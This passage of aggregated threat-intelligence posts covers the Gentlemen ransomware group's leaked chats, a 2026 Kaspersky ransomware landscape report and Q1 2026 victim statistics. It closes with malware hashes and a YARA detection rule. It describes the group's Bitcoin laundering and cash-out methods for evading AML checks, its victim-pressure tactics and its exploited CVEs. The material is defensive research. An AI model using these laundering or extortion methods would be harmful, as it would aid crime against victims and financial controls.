  • CVE-2024-55591 – FortiOS management interface

This vulnerability affects the FortiOS management interface and fits directly into their broader focus on Fortinet appliances as high‑value initial access points. While the chats do not show detailed exploitation steps, the presence of this CVE alongside their FortiGate targeting suggests it is part of the set of vulnerabilities they track for potential use against exposed management interfaces.

Figure 25 — CVE-2024-55591, related message.
  • CVE-2025-32433 – Erlang SSH vulnerability (Cisco context)

In the logs, qbit shares a proof-of-concept (PoC) for CVE-2025-32433, and zeta88 comments on its quality and applicability. This shows that the group is not simply aware of the CVE but is actively evaluating whether it can be used in real operations, specifically in environments where Cisco or Erlang-based SSH services are exposed. Even if they are cautious about PoC reliability, the discussion confirms that this vulnerability is part of their potential exploit toolkit.

Figure 26 — qbit & zeta88 related posts.
  • CVE-2025-33073 – NTLM reflection / NTLM relay

qbit references RelayKing and shares output showing domains being scanned for NTLM relay issues, including checks that explicitly cover CVE-2025-33073. This is strong evidence that they are not just reading about the vulnerability but have integrated RelayKing into their standard reconnaissance process to generate target lists for tools like ntlmrelayx. In other words, CVE-2025-33073 is a vulnerability they actively scan for and intend to exploit as part of broader NTLM relay workflows.

Figure 27 — Mention of CVE-2025-33073.
  • Other Exploit Paths (Without Explicit CVE IDs)

The operators also make heavy use of technique-based exploits where no specific CVE number is mentioned in the chats. These include:

  • MSI service abuse via RegPwn, used for privilege escalation.
  • Veeam to domain admin paths, based on public write‑ups about misconfigured backup infrastructure.
  • iDRAC to domain admin paths, leveraging Dell iDRAC weaknesses.
  • WPR, AutoLogger, and ETW manipulation techniques documented by zerosalarium and others to overwrite or disable security binaries.


Payments & Negotiations

Zeta88 acts as the organizer/administrator, distributing cryptocurrency payouts to team members (including those who are “AFK”) and advising on how to cash out proceeds via Bitcoin wallets (Guarda, Trust Wallet, Exodus). The group discusses AML (Anti-Money Laundering) evasion strategies. Zeta88 sends a BTC transaction to Kunder as a payout, which Kunder confirms receiving.

Figure 28 — Transaction link shared.

The specific mentions of how they handle Bitcoin laundering/cash out:

  1. Exchange Chains (“связки обмена”) Zeta88 mentions running ~800 transactions through “buy desks” (скупов) via exchange chains, or sometimes sending directly, suggesting chain-hopping to obscure transaction origins.
  2. AML Checking They discuss whether their BTC is “clean” and reference a buyer who actively checks AML scores before transacting. They’re uncertain how the scoring works but are aware their coins could be traced.
  3. Tinkoff QR Code Cash-Out A specific method mentioned: a buyer converts BTC to cash via Tinkoff bank QR codes, with minimums of 400k rubles (previously 250k). This converts crypto directly to Russian banking infrastructure.
  4. Physical Cash Delivery Kunder mentions “locking in the rate” and a guy physically bringing cash at the end of the month, a classic peer-to-peer OTC (over-the-counter) arrangement that bypasses exchanges entirely.
  5. Wallet Infrastructure They recommend non-custodial wallets (Guarda, Trust Wallet, Exodus) specifically to avoid KYC/AML controls that centralized exchanges enforce.

Blurry screenshots from the leak also shed light on the financial side of the operation. Although not fully legible, they appear to show a negotiation where the group secured approximately 190,000 USD after a discount of about 60,000 USD from the initial ransom demand.

Figure 29 — Agreement to pay 190,000 USD.

zeta88 is very aware of the importance of maximizing pressure on extorted victims to increase the chances of payment. In his private channel, he drafts a generic follow‑up letter that can be adapted to any company, emphasizing the costs of not paying the ransom, including regulatory exposure, reputational damage, and operational impact, and citing assessments from previous attacks. This is not the standard ransom note deployed alongside the encryption, but an additional, more tailored communication intended to reinforce the pressure on the victim.

Figure 30 — Negotiation playbook.


Interesting Negotiation Case

In a high‑profile attack in April 2026, a software consultancy company from United Kingdom publicly reported a breach. The company’s leadership stated in an open letter that only “typical business data, including business contact information, contracts, and NDAs related to client work” had been accessed.

From what appears to be a personal channel used by zeta88, he drafts a ransom demand letter addressed to the UK company, detailing what The Gentlemen claim to have exfiltrated, including customer infrastructure data, secrets, OAuth credentials, and more. The letter explicitly emphasizes potential GDPR violations as leverage to pressure the victim into paying.

Figure 31 — Ransom note.

Two weeks later, the group published the consultancy’s identity and breach details on their data leak site (DLS). According to the internal chats, data exfiltrated from the consultancy was then reused both before and during attacks against a company in Turkey, where The Gentlemen gained initial access via a vulnerable VPN appliance.

Figure 32 — Forti access to company in Turkey.

zeta88 ran this operation alongside Protagor, creating a backdoor Okta service account himself—typical of his intensive, hands‑on involvement in many of the intrusions documented in the leaked discussions. During the same campaign, zeta88 explicitly references data from the UK consultancy breach to cross‑reference and enrich information about the Turkish company, illustrating how prior compromises are used to enrich and support new attacks.

Figure 33 — UK company containing information for Turkish company.

One example mentioned was an internal “Transfer/Migration Document” (in the local language), an internal project document the consultancy maintained in its own collaboration platform describing work they did for the company in Turkey. This document, stolen in the first breach, was then used in the second.

The group discussed how best to use this access for extortion. In their internal chats, they talked about publishing the company from Turkey on their DLS together with a statement that, The access to the company in Turkey was obtained through the compromised consultancy from United Kingdom.

Figure 34 — DLS statement discussions.

This served a dual purpose:

  1. Punishing the consultancy (UK), which the actors described as “a very bad company.”
  2. Increasing pressure on the company in Turkey, by promising to show exactly how they gained access so that, the Turkish would be encouraged to legally pursue the consultancy in UK.
Figure 35 — Initial access proof.

Eventually, the Turkish company was published on the group’s DLS, and the attackers “credited” the consultancy in UK as their “access broker”.


Their View of Other RaaS Programs and Actors

The actors consistently frame the RaaS ecosystem through the lenses of brand strength, payout reliability, and affiliate leverage (percentage splits and control over negotiations). Among the programs mentioned, they clearly distinguish a small “top tier” from a broader landscape of lesser or untrusted players.

Program / GroupThings DiscussedSubjective Sentiment (Their View)
HelloKittyName/brand as something they’d like to use; jokes about linking to the real Hello Kitty site and putting (R) everywhere; described explicitly as a “мощный бренд”.Very positive on brand strength and recognition; sees it as a powerful marketing asset.
KrakenMention that “товарищи кракен” wrote to qbitqbit later says their team might “move” over to zeta88’s side.Neutral‑pragmatic; current or past orbit, but clearly willing to switch away for better options.
Dragon ForceOne of only two programs zeta88 would choose from “all presented”; explicitly says they pay both operators and adverts; only negative comments heard were about their software/panel.Strongly positive overall; trusted, in the top tier of programs they respect.
GunraListed among candidate PPs for a supplier; zeta88 says “че эт ваще такое…”, and lumps it with Hyflock; calls the operator “этот мудень”.Negative; unserious / low‑relevance; clear disdain for the operator.
HyflockSame context as Gunrazeta88 dismisses it in the same breath as Gunra, with the same derogatory comment about the person behind it.Negative; grouped with Gunra as not to be taken seriously.
ShadowByt3$ RAASAppears in the candidate list; zeta88 simply comments “хз” (doesn’t know).Neutral; no formed opinion, neither trust nor distrust expressed.
AnubisAppears in the candidate list; zeta88 asks “% видел он?”, focusing on what percentage they take.Cautious / skeptical; interest hinges on profit split; no clear positive trust.
CHAOSAppears in the candidate list; zeta88 asks whether they will still take that supplier (“возьмут ли они его еще”).Uncertain; doubts about acceptance / relationship continuity; not a clearly preferred option.
LockBit (tooling)quant asks what a локбит тулза actually is (builder or decryptor), notes he has not opened it; no explicit evaluation of the group itself.Curious but cautious; tooling is not trusted or fully understood yet; no explicit sentiment on LockBit group.
Black Basta / Devmanquant asks if “блек баста это девман”; zeta88 speaks harshly about “David” and his link to Devman, calls him “мудак” and “чепуха”, wishes them невыплат (non‑payment).Strongly negative but personalized; animosity toward David/Devman rather than a structured view of the RaaS.
“Red team” / Mr Beng clusterMentions Редтим=красный лотос=арсен=баламут=студент and “мистер БЕНГ”; mocks offer of 15k for “source code” of a C2 built on top of white tools (Velociraptor, etc.); ridicules this as overpriced and based on legitimate software.Negative; sees them as overpriced grifters repackaging white tools with heavy marketing.


Conclusion

The Gentlemen RaaS program has quickly evolved into a highly active and structured ransomware ecosystem. With over 320 public victims in 2026 and hundreds more systems visible through related infrastructure, it stands among the most productive RaaS operations that maintain a public data‑leak presence. The leaked Rocket backend and internal chats show that this scale is driven not by a loose crowd, but by a small, tightly coordinated core of about 9 named operators and at least 8 distinct affiliate TOX IDs, all organized around the administrator zeta88 / hastalamuerte, who both runs the platform and participates directly in operations.

The leak reveals a repeatable, human‑operated ransomware playbook: initial access through exposed edge infrastructure (such as VPNs and management interfaces), rapid expansion and privilege escalation, heavy investment in EDR/AV evasion and ETW/logging tampering, and systematic use of shared tools for discovery, lateral movement, credential theft, and data exfiltration. The group actively tracks and evaluates modern vulnerabilities, including CVE-2024-55591, CVE-2025-32433, and CVE-2025-33073and combines them with technique‑driven paths like backup and management‑controller abuse and NTLM relay workflows, giving them a flexible exploitation pipeline.

Overall, The Gentlemen exemplifies how contemporary RaaS programs blend productized ransomware with professional intrusion teams. A small, well‑organized set of operators, supported by curated tooling, structured communication channels, and up‑to‑date exploit knowledge, can generate substantial impact in a short time. For defenders, this underscores the need to harden internet‑facing services, close known misconfigurations and relay paths, and monitor for the specific tools, workflows, and TOX‑based communication patterns tied to this group.


Indicators of Compromise

DescriptionValue
The Gentlemen Windows025fc0976c548fb5a880c83ea3eb21a5f23c5d53c4e51e862bb893c11adf712a
1334f0189a8e6dbc48456fa4b482c5726ab7609f7fa652fcc4c1a96f2334436f
1af419b36a5edefef387409e2b3248c9223f7dc49a4f7b15ea095d371c3a70b2
22b38dad7da097ea03aa28d0614164cd25fafeb1383dbc15047e34c8050f6f67
24ac3588fb8cfbff63b7fdfcbc7dec1f3c60e54e6f949dd69d68e89e0c89d966
2ed9494e9b7b68415b4eb151c922c82c0191294d0aa443dd2cb5133e6bfe3d5d
3ab9575225e00a83a4ac2b534da5a710bdcf6eb72884944c437b5fbe5c5c9235
3c2182cb0bc7528829ef03f1b1745a92bcc47d917eb8870862488f21fdf1a6d6
48d9b2ce4fcd6854a3164ce395d7140014e0b58b77680623f3e4ca22d3a6e7fd
4a175eed927c0a477eafb8aa35a93c191748acaa78ac7aecd8ea3c4cd868887c
51b9f246d6da85631131fcd1fabf0a67937d4bdde33625a44f7ee6a3a7baebd2
62c2c24937d67fdeb43f2c9690ab10e8bb90713af46945048db9a94a465ffcb8
6a3ab9e984a759d55af4e84487d1fc44683065cc9a1089d5aa4ad1c0e4e84a63
860a6177b055a2f5aa61470d17ec3c69da24f1cdf0a782237055cba431158923
87d25d0e5880b3b5cd30106853cbfc6ef1ad38966b30d9bd5b99df46098e546c
8aa0cb69ca2777001e0f4ba0eaab0841592710e4cc5ccd6b0b526d78bbd8bfba
8c87134c1b45e990e9568f0a3899b0076f94be16d3c40fa824ac1e6c6ee892db
91415e0b9fe4e7cbe43ec0558a7adf89423de30d22b00b985c2e4b97e75076b1
994d6d1edb57f945f4284cc0163ec998861c7496d85f6d45c08657c9727186e3
9f61ff4deb8afced8b1ecdc8787a134c63bde632b18293fbfc94a91749e3e454
a7a19cab7aab606f833fa8225bc94ec9570a6666660b02cc41a63fe39ea8b0ad
b67958afc982cafbe1c3f114b444d7f4c91a88a3e7a86f89ab8795ac2110d1e6
c46b5a18ab3fb5fd1c5c8288a41c75bf0170c10b5e829af89370a12c86dd10f8
c7f7b5a6e7d93221344e6368c7ab4abf93e162f7567e1a7bcb8786cb8a183a73
dce2e5cc00eff2493f8ced546dc51f9d5ef78c5ee56805906ec642dfa77a1c70
dfe696ff713318c53fb17731bd4a6585a02c085b590149b19847990b324a0be6
ec368ae0b4369b6ef0da244774995c819c63cffb7fd2132379963b9c1640ccd2
efaf8e7422ffd09c7f03f1a5b4e5c2cc32b05334c18d1ccb9673667f8f43108f
f736be55193c77af346dbe905e25f6a1dee3ec1aedca8989ad2088e4f6576b12
fc75ed2159e0c8274076e46a37671cfb8d677af9f586224da1713df89490a958
The Gentlemen Linux1eece1e1ba4b96e6c784729f0608ad2939cfb67bc4236dfababbe1d09268960c
5dc607c8990841139768884b1b43e1403496d5a458788a1937be139594f01dca
788ba200f776a188c248d6c2029f00b5d34be45d4444f7cb89ffe838c39b8b19


Yara Rule

rule thegentlemen_ransomware
{
    meta:
        author = "@Tera0017/Check Point Research"
        description = "The Gentlemen Ransomware written in GO."
    strings:
        $string1 = "Silent mode (don't rename files)" ascii
        $string2 = "Encrypt only mapped and UNC network shares" ascii
        $string3 = "README-GENTLEMEN.txt" ascii
        $string4 = "gentlemen.bmp" ascii
        $string5 = "gentlemen_system" ascii
        $string6 = "[+] Encryption started. Going background..." ascii
        $string7 = "[+] FULL Encryption started" ascii
    condition:
        uint16(0) == 0x5A4D and 4 of them
}

The post Thus Spoke…The Gentlemen appeared first on Check Point Research.

State of ransomware in 2026

With International Anti-Ransomware Day taking place on May 12, Kaspersky presents its annual report on the evolving global and regional ransomware cyberthreat landscape.

Ransomware remains one of the most persistent and adaptive cyberthreats. In 2026:

  • New families continue to emerge, adopting post-quantum cryptography ciphers.
  • As ransom payments drop, some groups implement encryptionless extortion attacks.
  • In a constantly changing ecosystem of threat actors, initial access brokers maintain a relevant role in this market, showing increased focus on access to RDWeb as the preferred method of remote access.

Ransomware attacks decline but remain a major threat

According to Kaspersky Security Network, the share of organizations affected by ransomware decreased in 2025 across all regions compared to 2024.

Percentage of organizations affected by ransomware attacks by region, 2025 (download)

Despite the formal decrease, organizations across all sectors continue to face a high likelihood of attack, as ransomware operators refine their tactics and scale their operations with increasing efficiency. Kaspersky and VDC Research have found that in the manufacturing sector alone, ransomware attacks may have caused over $18 billion in losses in the first three quarters of the year.

The continued rise of EDR killers and defense evasion tooling

In 2026, ransomware operators increasingly prioritize neutralizing endpoint defenses before executing their payloads. Tools commonly referred to as “EDR killers” have become a standard component of attack playbooks. This reflects a continuing trend toward more deliberate and methodical intrusions.

Attackers attempt to terminate security processes and disable monitoring agents, often by exploiting trusted components such as signed drivers. This technique is called Bring Your Own Vulnerable Driver (BYOVD) and allows adversaries to blend into legitimate system activity while gradually degrading defensive visibility.

Thus, evasion is no longer an opportunistic step but a planned and repeatable phase of the attack lifecycle. As a result, organizations are increasingly challenged not just to detect ransomware but also to maintain control in environments where security controls themselves are actively targeted.

The appearance of new families adopting post-quantum cryptography

We predicted that quantum-resistant ransomware would appear in 2025. Looking back at the previous year, we see that advanced ransomware groups indeed started using post-quantum cryptography as quantum computing evolved. The encryption techniques used by this quantum-proof ransomware could be used to resist decryption attempts from both classical and quantum computers, making it nearly impossible for victims to decrypt their data without having to pay a ransom.

One example is the appearance of the PE32 ransomware family (link in Russian); it leverages the cutting-edge ML-KEM (Module-Lattice-Based Key-Encapsulation Mechanism) standard to secure its AES keys. This specific cryptographic framework was recently selected by NIST as the primary standard for post-quantum defense.

Within the PE32 ransomware architecture, this is realized through the Kyber1024 algorithm, a robust mechanism providing Level 5 security, roughly equivalent in strength to AES-256. Its primary function is the secure generation and transmission of shared secrets between parties, specifically engineered to withstand future quantum computing attacks. This shift toward post-quantum readiness is part of a broader industry trend; for instance, TLS 1.3 and QUIC protocols have already adopted the X25519Kyber768 hybrid model, which fuses classical encryption with quantum-resistant security.

The shift to encryptionless extortion

In 2025, the share of ransoms paid dropped to 28%. As a response to this, one of the developments in the 2026 landscape is the growing prevalence of extortion incidents in which no file encryption takes place at all. Instead, attackers leave out the “ware” in “ransomware” and focus on extracting sensitive data and leveraging the threat of public disclosure as their primary means of extortion. ShinyHunters is an excellent example of such a group, using a data leak site to publicize its victims.

By avoiding encryption, attackers may aim at reducing the likelihood of immediate detection, shortening the duration of the attack, and eliminating dependencies on stable encryption routines. Often, this model is used alongside traditional tactics in so-called double extortion schemes, but an increasing number of campaigns rely exclusively on data theft.

For victims, this shift fundamentally changes the nature of the risk. While backups remain effective against encryption-based disruption, they provide no protection against data exposure, regulatory consequences, and reputational damage. Ransomware is therefore evolving from a business continuity issue into a broader data security and compliance challenge.

Industrialization of initial access (Access-as-a-Service)

The ransomware ecosystem continues to evolve toward a highly industrialized and specialized model, with initial access remaining as one of its most critical components. In 2026, many ransomware operators keep relying on IABs (initial access brokers), a network of intermediaries who supply pre-compromised access to corporate environments, aiming to no longer perform full intrusions themselves.

This “access-as-a-service” model is fueled by credential theft operations, and the widespread availability of compromised accounts harvested through infostealers and phishing campaigns.

The primary access vectors offered for sale have not changed: RDP, VPN, and RDWeb are still the top access vectors. Consequently, remote access infrastructure remains the primary attack surface for initial access sales. In response to the measures against public exposure of RDP access points to the internet, attackers are now targeting RDWeb portals, which are frequently vulnerable and occasionally inadequately safeguarded.

The result is a threat landscape where unauthorized access is increasingly commoditized, and the barrier to launching ransomware attacks declines. This means that preventing initial compromise is only part of the challenge; equal emphasis must be placed on detecting misuse of legitimate credentials and limiting lateral movement within already-breached environments.

Ransomware developments on the dark web

Telegram channels and underground forums increasingly function as platforms for the distribution and sale of compromised datasets and access credentials including those that were obtained as a result of ransomware attacks.

Advertisements posted on these resources typically include the nature of the access, a description of the exfiltrated or compromised data, price terms, and contact information for prospective buyers. In addition, some malicious actors mention their collaboration with other ransomware groups. Lesser-known gangs can use this name-dropping to promote themselves

Multiple threat actors not related to ransomware groups distribute datasets downloaded from ransomware blogs on underground forums and Telegram. By re-publishing download links and files, they spread compromised data as well as information on the ransomware attack within the community.

The ransomware itself is also sold or offered for subscription on the dark web platforms. The sellers underscore the uniqueness of their malware, as well as its encryption and defense evasion features.

Law enforcement actions

Law enforcement agencies are actively shutting down dark web platforms and ransomware data leak sites. A major underground forum, RAMP, which also functioned as a platform for threat actors to advertise their ransomware services and publish service‑related updates, was seized by authorities in January 2026. Another underground forum, LeakBase, where malicious actors distributed exfiltrated and compromised data, was seized in March 2026. In 2025, law enforcement agencies seized well-known forums like Nulled, Cracked, and XSS. Also in 2025, the DLSs of BlackSuit and 8Base ransomware groups were seized. These takedowns cause inconvenience to ransomware coordination, specifically for initial access brokers and affiliates, though similar forums are expected to fill the void over time.

Top ransomware groups in 2025

RansomHub’s sudden dormancy in 2025 marked a shift, and Qilin became the dominant player from Q2 onward. According to Kaspersky research, Qilin was the most active group executing targeted attacks in 2025.

Each group’s share of victims according to its data leak site (DLS) as a percentage of all reported victims of all groups during the period under review (download)

Qilin stands out as one of the fastest-growig and dominant RaaS platforms. Its combination of high-volume operations and structured affiliate model positions it as a central player in the current ecosystem.

Clop, the second most active group in 2025, is distinguished through its large-scale, supply-chain-style attacks, exploiting widely used file transfer and enterprise software to compromise hundreds of victims simultaneously. This one-to-many approach sets it apart from more traditional, single-target campaigns.

Third place is occupied by Akira, which remains notable for its consistency and operational stability, maintaining a steady stream of victims without major disruption. Its ability to sustain activity over time makes it one of the most reliable indicators of baseline ransomware threat levels.

Although no longer active, RansomHub stands out for its rapid rise and equally rapid disappearance in 2025, highlighting the volatility of the RaaS market. Its shutdown created a vacuum that significantly reshaped affiliate distribution across other groups.

DragonForce is also notable – not just for its own operations, but for its broader influence within the ransomware ecosystem, including reported involvement in infrastructure conflicts and possible links to the disruption of competing groups. Thus, the group claims that RansomHub “has moved to their infrastructure.” This positions it as more than just an operator and potentially an ecosystem-level actor.

New actors in 2026

While emerging actors generally operate on a smaller scale, they provide insight into the continuous churn and low barrier to entry within the ransomware ecosystem.

The Gentlemen group caught our attention in early 2026, as they managed to attack a significant number of victims over a short time. This actor is also notable for reflecting a broader shift toward professionalization and controlled operations within the ransomware ecosystem. Unlike many emerging groups that rely on opportunistic attacks and inconsistent leak activity, The Gentlemen demonstrate a more deliberate approach: structured intrusion workflows, selective targeting, and measured communication with victims. This signals a move away from chaotic, high-noise campaigns toward predictable, business-like execution models that are easier to scale and harder to disrupt. Their TTPs include the massive exploitation of hardware very common on big corporations, such as FortiOS/FortiProxy, SonicWall VPN, and Cisco ASA appliances. The group might be comprised of professional cybercriminals who left other prominent groups.

The group is also notable for its emphasis on data-centric extortion strategies, often prioritizing exfiltration and leverage over purely disruptive encryption. This aligns with one of the defining trends of 2026: ransomware evolving into a form of data breach monetization rather than just system denial. By focusing on controlled pressure and reputational risk instead of immediate operational damage, The Gentlemen exemplify how attackers are adapting to lower ransom payment rates and improved backup practices among victims.
Some other groups to take note of in 2026:

  • Devman appears to be an emerging actor with limited but growing activity, likely leveraging existing tooling rather than developing custom capabilities.
  • MintEye hasn’t been very active yet, with just five known victims, suggesting opportunistic campaigns without a consistent operational tempo.
  • DireWolf is associated with small-scale, targeted attacks, though its overall footprint remains relatively limited compared to larger RaaS groups.
  • NightSpire demonstrates characteristics of an amateur group, such as mistakes during its operations, uncommon communication channels with the victims, and sometimes giving them insufficient time to pay up. Although they both encrypt and leak data, they prioritize publication rather than encryption.
  • Vect shows low-volume activity. It is yet unclear whether they use a completely new codebase or are rather a rebrand of an existing group.
  • Tengu is a less prominent actor, with limited public reporting and no clear distinguishing tactics beyond standard extortion models.
  • Kazu appears to be created by ransomware operators previously engaged with multiple other groups. As of now, they don’t stand out for scale or technique.

Although there is little to say about these groups at the time of writing this report, each of them may be equally likely to disappear from the threat landscape or grow into a prominent threat. That’s why it’s important to track them from their early days. Moreover, collectively, these groups illustrate how dynamic the ransomware landscape is, with new entrants constantly replenishing it.

Conclusion and protection recommendations

Despite the growing effort by law enforcement agencies across the globe to seize and disrupt dark web platforms and threat actor infrastructures, ransomware operations remain stable, with new groups quickly taking the place of those who went silent. In 2026, we see a shift towards encryptionless extortion, with data leaks increasingly becoming the main threat to target organizations. At the same time, data encryption is also upgrading to the next level with the emergence of post-quantum ransomware.

To resist the evolving threat, Kaspersky recommends organizations:

Prioritize proactive prevention through patching and vulnerability management. Many ransomware attacks exploit unpatched systems, so organizations should implement automated patch management tools to ensure timely updates for operating systems, software, and drivers. For Windows environments, enabling Microsoft’s Vulnerable Driver Blocklist is critical to thwarting BYOVD attacks. Regularly scan for vulnerabilities and prioritize high-severity flaws, especially in widely used software.

Strengthen remote access: RDP and RDWeb connections should never be directly exposed to the internet, only through VPN or ZTNA (Zero Trust Network Access). It’s highly recommended to adopt multi-factor authentication on everything; the architecture may require continuous authentication for access, as one valid credential captured is enough to cause a breach. Monitoring the underground for stolen employee credentials is essential. Audit open ports across the entire attack surface. The adoption of the “Principle of Least Privilege” (PoLP), where users, systems, or processes are granted only the minimum access rights, such as read, write, or execute permissions, necessary to perform their specific job functions, is highly recommended.

Strengthen endpoint and network security with advanced detection and segmentation. Deploy robust endpoint detection and response solutions such as Kaspersky NEXT EDR to monitor for suspicious activity like driver loading or process termination. Network segmentation is equally important. Limit lateral movement by isolating critical systems and using firewalls to restrict traffic. Complete and immediate offboarding for employees is necessary as well as periodic permission reviews, with automatic revocation of unused access. Sessions with complete logging for privileged accounts are more than necessary. Monitoring the traffic divergence to new sites or even to legitimate endpoints can help the defenders to spot a new insider threat.

Invest in backups, training, and incident response planning. Maintain offline or immutable backups that are tested regularly to ensure rapid recovery without paying a ransom. Backups should cover critical data and systems and be stored in air-gapped environments to resist encryption or deletion. User education is essential to combatting phishing, which remains one of the top attack vectors. Conduct simulated phishing exercises and train employees to recognize AI-crafted emails. Kaspersky Global Emergency Response Team (GERT) can help develop and test an incident response plan to minimize potential downtime and costs.

The recommendation to avoid paying a ransom remains robust, especially given the risk of unavailable keys due to dismantled infrastructure, affiliate chaos, or malicious intent. By investing in backups, incident response, and preventive measures like patching and training, organizations can avoid funding criminals and mitigate the impact.

Kaspersky also offers free decryptors for certain ransomware families. If you get hit by ransomware, check to see if there’s a decryptor available for the ransomware family used against you.

The State of Ransomware – Q1 2026

Key Findings

  • Consolidation after peak fragmentation: The top 10 ransomware groups accounted for 71% of all Q1 2026 victims, a sharp reversal from the fragmentation seen in Q3 2025. The ransomware ecosystem is once again consolidating around fewer, more dominant operators.
  • Volume stabilization at historically high levels: There were 2,122 victims posted on data leak sites (DLS), making this period the second-highest Q1 on record. The long growth trend is stabilizing.
  • Qilin’s sustained dominance: Qilin maintained its position as the most prominent ransomware operation for the third consecutive quarter, posting 338 victims.
  • The Gentlemen is the breakout story of Q1 2026 reaching the third place on the global ransomware list, increasing their victim count from 40 victims in Q4 2025 to 166 in Q1 2026.
  • LockBit 5.0 comeback confirmed: LockBit posted 163 victims in Q1 2026, climbing to fourth place.

Ransomware in Q1 2026: Consolidation at Scale

During the first quarter of 2026, we monitored more than 70 active data leak sites (DLS) that collectively listed 2,122 new victims. This figure represents a 12.2% decline from the Q4 2025 all-time record of 2,416 victims but remains the second-highest Q1 on record at 117% above Q1 2024 (977 victims) and is keeping in line with the elevated baseline established through 2025.

Figure 1 – Total number of reported ransomware victims in DLS, per month (Jun 2024 – Mar 2026).

Monthly volumes within Q1 were consistently stable: in January there were 732 recorded victims, 684 in February, and 706 in March. This reflects a sustained operating rate of an average of 707 victims per month in Q1 2026.

The headline year-over-year (YoY) comparison shows a 7.1% decline from the 2,285 victims in Q1 2025. However, this comparison is misleading as the Q1 2025 numbers were heavily inflated by Cl0p’s Cleo mass-exploitation campaign which contributed approximately 390 victims in a single burst. If we exclude Cl0p from both periods, there were 1,894 victims in Q1 2025 versus 1,995 in Q1 2026, an actual YoY increase of 5.3%. The underlying growth trend in ransomware operations persists, even as the most dramatic spikes subside.

From fragmentation to consolidation

The most significant structural development seen in Q1 2026 is not the volume of attacks but the consolidation of the different operators conducting them. After two years of steady fragmentation, during which the number of active groups grew from 51 in Q1 2024 to a peak of 85 in Q3 2025 and the Top-10 share of victims fell from 68% to 57%, the ecosystem has decisively reversed course.

In Q1 2026, the top 10 groups accounted for 71.1% of all DLS-posted victims, which is the highest concentration since Q1 2024 when the ecosystem was far smaller. The number of active groups shrank from 85 to 71. Fourteen groups that were active in Q4 2025 disappeared entirely, while 21 new names appeared. However, most of the newcomers posted fewer than 10 victims, failing to take advantage of the disappearance of established mid-tier operators.

This is a common pattern repeated throughout the ecosystem’s history: law enforcement actions disrupt the ransomware market, affiliates scatter, and survivors who avoid disruption absorb the displaced talent pool and grow. Groups such as Qilin, Akira, The Gentlemen, and LockBit, who together claimed 41% of all victims in Q1, capitalized on the instability of their competitors. In Q1 2026, Qilin alone posted more victims than the combined output of the bottom 50 groups.

This dynamic carries implications beyond statistics. The consolidation of the ecosystem around fewer, more dominant operators changes its character. Larger RaaS brands invest in operational consistency, including functional decryption tools, because their business model depends on the perception that victim payment results in data recovery. In contrast, the ransomware fragmentation we saw in 2025 introduced dozens of transient operators with no such incentive to invest any effort in decryption. An example is Obscura, whose encryption bug renders files over 1 GB permanently unrecoverable regardless of payment. For defenders and incident responders, consolidation means facing fewer but more capable adversaries.

Figure 2 – Top 10 ransomware groups by number of publicly claimed victims – Q1 2026.

Notable surges and declines

Comparing the data between Q4 2025 and Q1 2026 reveals which groups are absorbing the affiliate talent pool, and which are failing to take advantage of it.

Surges:

  • The Gentlemen grew by 315%, going from 40 claimed victims to 166, making them the biggest story of Q1 2026, covered in detail below.
  • LockBit 5.0 activity increased by 106%, from 79 victims to 163.
  • Nightspire, a closed-group operation with OneDrive cloud encryption capability, expanded by 183% from 29 victims to 82, sustaining growth across two consecutive quarters.
  • Play posted a 64% increase, going from 74 victims to 121.

Declines:

  • SafePay fell by 77%, going from 97 victims to 22. SafePay is a centralized, non-RaaS operation whose DLS was marked inactive from mid-March 2026 through early April for unknown reasons.
  • Devman declined by 70%, from 82 victims to 25. The ransomware’s operator “Tramp”, a former Conti and Black Basta affiliate, was added to Interpol’s wanted list in January 2026. All three DLS sites went offline by early February.
  • Sinobi dropped by 42%, from 139 victims to 80. After a strong January (56 victims), activity collapsed to just 7 victims in March. As of the time of this publication, no postings were recorded in April.
Figure 3 – Interpol’s Red Notice for Devman’s operator, Nefedov.

Actor Spotlight: The Gentlemen – The Breakout Story of Q1 2026

The Gentlemen is the most significant new ransomware operation to emerge in recent months. Going from zero victims in August 2025 to 166 in Q1 2026, the group achieved third place globally through a combination of pre-existing access stockpiles, aggressive geographic diversification, and a deliberate rejection of the traditional US-centric targeting model.

Figure 4 – The Gentlemen monthly victim trajectory, February peak: 82 victims in a single month.

Origins: A Qilin defection

The Gentlemen was founded by a threat actor known as Hastalamuerte – an experienced Qilin affiliate, who left the Qilin RaaS program following a dispute over an unpaid commission of approximately $48,000. This explains both its rapid operational capability and its sophistication: the operators started with established tradecraft, tooling, and, crucially, a stockpile of pre-compromised access.

The FortiGate stockpile

The group’s most distinctive asset is a cache of approximately 14,700 pre-exploited FortiGate devices, exploited primarily via CVE-2024-55591 (a critical authentication bypass in FortiOS/FortiProxy). In addition to the exploited devices, the operators maintain 969 validated brute-forced FortiGate VPN credentials ready for attack. This stockpile provides The Gentlemen with a supply of ready-to-use initial access tools far exceeding what typical RaaS affiliates acquire through real-time exploitation or access broker purchases.

How was this stockpile acquired? According to this report, Hastalamuerte was an experienced affiliate who had previously worked with Embargo, LockBit, and Medusa before joining Qilin. Before creating their own RaaS platform, The Gentlemen’s operators “experimented with various affiliate models used by other prominent ransomware groups.” The 14,700-device inventory likely predates the group’s September 2025 launch. Publishing 38 victims within weeks of beginning operation strongly suggests pre-existing access in the form of a massive number of compromised devices rather than real-time exploitation.

A non-Western targeting model

The Gentlemen’s geographic distribution is a striking outlier. Only 13.3% of its victims are based in the United States, compared to the ecosystem average of 49.6%. Thailand (10.8%), Brazil (6.0%), and India (4.2%) all feature prominently on their victim list.

This may reflect the geographic distribution of exploitable FortiGate devices; the group attacks where it has pre-positioned access, and that access happens to be concentrated in APAC and Latin American networks. This is an infrastructure-driven pattern rather than a deliberate targeting strategy: the operators did not choose Thailand or Brazil based on strategic preference but are exploiting access they already have.

However, we cannot exclude a secondary factor: deliberate avoidance of US targets to reduce law enforcement risk. The Gentlemen is a Russian-speaking operation founded by an affiliate who already experienced the consequences of ransomware ecosystem disputes. The decision to exploit a globally distributed stockpile while bypassing US devices – if that is what is occurring – would represent rational risk management given the heightened US law enforcement posture.

LockBit 5.0: Making a Comeback

LockBit posted 163 victims in Q1 2026 (an increase of 106% compared to Q4 2025), climbing from outside the top 10 to fourth place globally. After an initial surge of 85 victims in January (likely to reflect the accumulation of access during the pre-launch period), activity dipped to just 33 victims in February before climbing back to 45 in March. This dip-and-recovery trajectory is characteristic of a program rebuilding its affiliate base instead of exhausting a one-time stockpile, assuming these are genuine reports and not recycled or fictional reports.

Until its takedown in early 2024, LockBit was the most dominant RaaS operation globally, responsible for 20–30% of all data-leak site victim postings. Following Operation Cronos, several arrests and data seizures disrupted the group’s infrastructure. 

